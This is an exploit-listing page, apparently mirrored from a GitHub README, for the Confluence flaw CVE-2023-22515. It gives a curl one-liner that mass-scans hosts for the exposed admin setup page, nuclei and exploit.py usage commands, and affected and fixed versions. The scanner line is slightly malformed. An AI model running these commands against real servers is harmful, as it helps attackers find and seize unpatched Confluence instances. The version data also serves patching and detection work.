Sploitus

Exploit for CVE-2023-22515

kitploit · 2026-09-05

Exploit Code

MARKDOWN83 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KH4SH3I-CVE-2023-22515
#    
![](https://assets.kitploit.com/production/public/readmes/27995/8fc811f01603ad3c6f49e5b6b6177638e241df438c711ad3bb07b91493432728.png)   
![](https://img.shields.io/badge/PRs-welcome-blue) ![](https://img.shields.io/github/last-commit/kh4sh3i/CVE-2023-22515) ![](https://img.shields.io/github/commit-activity/m/kh4sh3i/CVE-2023-22515) ![](https://img.shields.io/twitter/follow/kh4sh3i_?style=flat&logo=twitter) ![](https://img.shields.io/github/stars/kh4sh3i?style=flat&logo=github)

# CVE-2023-22515

CVE-2023-22515，一个影响 Confluence Server 和 Confluence Data Center 本地部署实例的严重漏洞，属于访问控制缺陷。Atlassian 给出的 CVSS 基础评分为 10.0

## 单行 PoC

root@kitploit:~
    
    
    cat file.txt| while read host do;do curl -skL "http://$host/setup/setupadministrator.action" | grep -i "<title>Setup System Administrator" && echo $host "is VULN";done
    

## Nuclei

root@kitploit:~
    
    
    nuclei -u target -t CVE-2023-22515.yaml
    

## 前置条件

root@kitploit:~
    
    
    sudo pip install -r requirements.txt
    

## 使用方法

root@kitploit:~
    
    
    sudo python3 exploit.py --url [target]
    

## 受影响版本

root@kitploit:~
    
    
    8.0.0
    8.0.1
    8.0.2
    8.0.3
    8.0.4
    8.1.0
    8.1.1
    8.1.3
    8.1.4
    8.2.0
    8.2.1
    8.2.2
    8.2.3
    8.3.0
    8.3.1
    8.3.2
    8.4.0
    8.4.1
    8.4.2
    8.5.0
    8.5.1
    

## 修复版本

root@kitploit:~
    
    
    8.3.3 或更高版本
    8.4.3 或更高版本
    8.5.2（长期支持版本）或更高版本
    

## 参考

  * atlassian
  * nist